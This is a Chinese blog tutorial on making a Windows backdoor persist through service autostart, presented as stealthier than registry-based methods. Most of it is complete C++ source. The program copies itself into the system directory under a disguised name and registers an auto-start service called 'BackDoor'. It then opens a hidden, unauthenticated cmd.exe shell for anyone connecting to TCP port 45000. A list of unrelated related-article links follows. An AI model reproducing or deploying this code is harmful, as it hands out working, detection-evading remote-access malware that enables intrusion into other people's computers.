安全之路 —— C/C++实现后门的服务自启动
简介
Windows NT系统后门要实现自启动,有许多种方法,例如注册表自启动,映像劫持技术,SVCHost自启动以及本章节介绍的服务自启动等方法,其中服务自启动相对于上述其他三种需要修改注册表的启动方式而言更不容易被发现。
C++代码样例
//////////////////////////////////////////////////////////////
//
// FileName : ServiceAutoRunDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-4 23:19
// Comment : Create Service to make the BackDoor Run Automatically
//
//////////////////////////////////////////////////////////////
#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>
#include <Winsvc.h>
#include <cstdio>
#include <cstring>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
#define SERVICE_OP_ERROR -1
#define SERVICE_ALREADY_RUN -2
const unsigned int MAX_COUNT = 255; /// String Max Length
const DWORD PORT = 45000; /// Listen Port
const unsigned int LINK_COUNT = 30; /// Max Link Number
SERVICE_STATUS g_ServiceStatus;
SERVICE_STATUS_HANDLE g_hServiceStatus;
/**
* @brief CallBack Function to Translate Service Control Code
* @param dwCode Service Control Code
*/
void WINAPI ServiceControl(DWORD dwCode)
{
switch (dwCode)
{
//服务暂停
case SERVICE_CONTROL_PAUSE:
g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
//服务继续
case SERVICE_CONTROL_CONTINUE:
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
//服务停止
case SERVICE_CONTROL_STOP:
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
//设置服务状态
if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
{
printf("Set Service Status Error\n");
}
return;
}
/**
* @brief Start Remote Shell
* @lpParam the Client Handle
*/
DWORD WINAPI StartShell(LPVOID lpParam)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CHAR cmdline[MAX_COUNT] = { 0 };
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
GetSystemDirectory(cmdline, sizeof(cmdline));
strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
Sleep(100);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
/**
* @brief Service Running Function
* @lpParam NULL
*/
DWORD WINAPI RunService(LPVOID lpParam)
{
CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
SOCKET sClient[30];
DWORD dwThreadId[30];
HANDLE hThread[30];
WSADATA wsd;
if (WSAStartup(0x0202, &wsd))
{
printf("WSAStartup Process Error\n");
return 0;
}
SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
if (listen(sListen, LINK_COUNT)) return 0;
for (int i = 0; i < LINK_COUNT; i++)
{
sClient[i] = accept(sListen, NULL, NULL);
hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
send(sClient[i], wMessage, strlen(wMessage), 0);
}
WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
return 0;
}
/**
* @brief the Main Function of the Service
*/
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
{
HANDLE hThread;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwServiceType = SERVICE_WIN32;
g_ServiceStatus.dwWaitHint = 0;
g_ServiceStatus.dwWin32ExitCode = 0;
g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
if (!g_hServiceStatus)
{
printf("Register Service Error\n");
return;
}
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
{
printf("Set ServiceStatus Error !\n");
return;
}
hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
if (!hThread)
{
printf("Create Thread Error\n");
}
return;
}
/**
* @brief Install Service
*/
int APIENTRY InstallService()
{
DWORD dwErrorCode;
SC_HANDLE hscManager;
SC_HANDLE hServiceHandle;
SERVICE_STATUS ssServiceStatus;
CHAR szSystemPath[MAX_COUNT] = "\0";
CHAR szFileSelfPath[MAX_COUNT] = "\0";
GetSystemDirectory(szSystemPath, sizeof(szSystemPath));
GetModuleFileName(NULL, szFileSelfPath, sizeof(szFileSelfPath));
strcat_s(szSystemPath, "\\sysWork.exe");
CopyFile(szFileSelfPath, szSystemPath, true);
hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hscManager)
{
printf("Can not Open the Service Manager\n");
return SERVICE_OP_ERROR;
}
printf("Service Manager Opened Success\n");
hServiceHandle = CreateService(hscManager, "BackDoor", "BackDoor", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, szSystemPath, NULL, NULL, NULL, NULL, NULL);
if (!hServiceHandle)
{
dwErrorCode = GetLastError();
if (dwErrorCode == ERROR_SERVICE_EXISTS)
{
hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS);
if (!hServiceHandle)
{
printf("Can not Create/Open Service\n");
CloseServiceHandle(hServiceHandle);
return SERVICE_OP_ERROR;
}
else
{
printf("Service Opened Success\n");
}
}
}
else {
printf("Service Create Success\n");
}
if (!StartService(hServiceHandle, 0, NULL))
{
dwErrorCode = GetLastError();
if (dwErrorCode == ERROR_SERVICE_ALREADY_RUNNING)
{
printf("SERVEICE IS ALREADY RUNNING\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_ALREADY_RUN;
}
else
{
printf("SERVEICE START ERROR\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
}
while (QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
if (ssServiceStatus.dwCurrentState == SERVICE_START_PENDING)
{
Sleep(100);
continue;
}
if (ssServiceStatus.dwCurrentState != SERVICE_RUNNING)
{
printf("Service Start Process ERROR\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
else
{
break;
}
}
if (!QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
printf("Service Status Get Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
printf("Service Start Success\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return 0;
}
/**
* @brief Remove Service
*/
int RemoveService()
{
SC_HANDLE hscManager;
SC_HANDLE hServiceHandle;
SERVICE_STATUS ssServiceStatus;
hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hscManager)
{
printf("Open Service Manager Error\n");
return SERVICE_OP_ERROR;
}
printf("Open Service Manager Success\n");
hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS);
if (!hServiceHandle)
{
printf("Open Service Error\n");
return SERVICE_OP_ERROR;
}
printf("Open Service Success\n");
if (QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
if (ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
ControlService(hServiceHandle, SERVICE_CONTROL_STOP, &ssServiceStatus);
}
}
else
{
printf("Service Status Get Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
if (!DeleteService(hServiceHandle))
{
printf("Delete Service Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
printf("Remove Service Success\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return 0;
}
/**
* @brief main Function
*/
int main(int argc, char* argv[])
{
SERVICE_TABLE_ENTRY svTable[] = {
{(LPSTR)"BackDoor",ServiceMain},
{NULL,NULL}
};
StartServiceCtrlDispatcher(svTable);
if (argc == 2)
{
if (!stricmp(argv[1], "--install"))
{
if (InstallService() == SERVICE_OP_ERROR)
{
printf("[!]Service Operation Error\n");
}
else
{
printf("[*]Service Operation Success\n");
}
}
else if (!stricmp(argv[1], "--remove"))
{
if (RemoveService() == SERVICE_OP_ERROR)
{
printf("[!]Service Operation Error\n");
}
else
{
printf("[*]Service Operation Success\n");
}
}
else
{
printf("[Usage] => *.exe [--install]/[--remove]\n");
}
}
else {
printf("[Usage] => *.exe [--install]/[--remove]\n");
}
return 0;
}
安全之路 —— C/C++实现后门的服务自启动的更多相关文章
- SHIFT后门拿服务器之方法总结
提权工具如下:cmd.exe Churrasco.exe nc.exe 提权前提:Wscript组件成功开启 如果Wscript组件被关闭,则使用以下方法开启: 源代码: <object run ...
- 物联网架构成长之路(22)-Docker练习之Etcd服务搭建
0. 前言 时隔多日,前段时间忙完一个可有可无的项目后,又进入摸鱼时间,没有办法,非互联网公司,就是闲得蛋疼.又开始了自学之路.以前入门过Docker,然后又很久没有看了,最近重新看了一下,推荐一下这 ...
- Linux上天之路(十二)之服务管理
主要内容 服务介绍 独立服务 非独立服务 1. 服务介绍 服务:常驻在内存中的程序,且可以提供一些系统或网络功能,那就是服务. 计算机中的系统服务有很多,比如: apache提供web服务 ftp提供 ...
- 物联网架构成长之路(30)-Spring Boot Admin微服务WebUI监控
0. 前言 一个完整的微服务解决方案包含了许多微服务,基于我们需要观察各个微服务的运行状态,因此Spring Boot 生态提供了Spring Boot Admin 这个组件来实现微服务管理WEB U ...
- NET Core微服务之路:自己动手实现Rpc服务框架,基于DotEasy.Rpc服务框架的介绍和集成
本篇内容属于非实用性(拿来即用)介绍,如对框架设计没兴趣的朋友,请略过. 快一个月没有写博文了,最近忙着两件事; 一:阅读刘墉先生的<说话的魅力>,以一种微妙的,你我大家都会经常遇见 ...
- 物联网架构成长之路(18)-接阿里云OSS服务
1.申请/购买OSS服务 在阿里云上申请/购买OSS服务, 然后在会得AccessKeyID,AccessKeySecret,bucketName 这三个东西 2.增删改查 在pom.xml文件上增加 ...
- 物联网架构成长之路(23)-Docker练习之Elasticsearch服务搭建
0. 前言 最近基本都是学一些环境配置,和一些中间件的安装与配置.没有实际编写代码.可能看起来有点水,我对自己的学习方式是,先要了解各个中间件的安装配置以及简单使用,理论应用场景,然后我在小项目中,逐 ...
- Kubernetes学习之路(十四)之服务发现Service
一.Service的概念 运行在Pod中的应用是向客户端提供服务的守护进程,比如,nginx.tomcat.etcd等等,它们都是受控于控制器的资源对象,存在生命周期,我们知道Pod资源对象在自愿或非 ...
- MySQL学习之路1-Mac下启动连接MySQL服务
MySQL简介 (MySQL是目前最流行的关系型数据库管理系统,现属于Oracle公司.) MySQL主要特点: 支持大型数据库,支持5000万条记录的数据仓库,32位系统表文件最大可支持4GB,64 ...
随机推荐
- mysql索引总结(2)-MySQL聚簇索引和非聚簇索引
mysql索引总结(1)-mysql 索引类型以及创建 mysql索引总结(2)-MySQL聚簇索引和非聚簇索引 mysql索引总结(3)-MySQL聚簇索引和非聚簇索引 mysql索引总结(4)-M ...
- C/C++编程GUI库比较
转自:http://blog.csdn.net/lostown/article/details/658654 最强的GUI库当属Qt,毕竟是商业化的东西,功能最完整,什么都好,包括类似java代码风格 ...
- 项目复审——Alpha阶段
Deadline: 2018-5-19 10:00PM,以提交至班级博客时间为准. 5.10实验课上,以(1.2班级,3.4班级为单位)进行项目复审.根据以下要求,完成本团队对其他团队的复审排序. 参 ...
- PowerBuilder编程新思维3:适配(三层架构与GraphQL)
PowerBuilder编程新思维3:适配(三层架构与GraphQL) PB在富客户端时代,是一线开发工具.随着网络发展,主流架构演进到三层架构的时代,PB拿不出有力的三层架构,已经明显力不从心,市场 ...
- C# 文本转语音,在语音播放过程中停止语音
1,运用SpVoice播放语音 在VS2013创建Windows窗体应用程序项目,添加引用COM组件Microsoft Speech Object Library: using SpeechLib; ...
- Color the ball(hdu1556)(hash)或(线段树,区间更新)
Color the ball Time Limit: 9000/3000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total ...
- Android - fragment Manager
fragment基本使用: http://www.cnblogs.com/qlky/p/5415679.html Fragmeng优点 Fragment可以使你能够将activity分离成多个可重用的 ...
- 模版方法模式(Template Method)
1.概念 在模板模式(Template Pattern)中,一个抽象类公开定义了执行它的方法的方式/模板.它的子类可以按需要重写方法实现,但调用将以抽象类中定义的方式进行.这种类型的设计模式属于行为型 ...
- ORM--Entity Framework 学习(01)
关键词:Entity Framework:微软官方提供的ORM工具,ORM让开发人员节省数据库访问的代码时间,将更多的时间放到业务逻辑层代码上.EF提供变更跟踪.唯一性约束.惰性加载.查询事物等.开发 ...
- php面向对象高级-魔术方法与迭代器
1,魔术方法__set与__get, __call >这些魔术方法,将在相关的属性或者方法不存在时调用 >函数原型 .function __set( $property, $value ) ...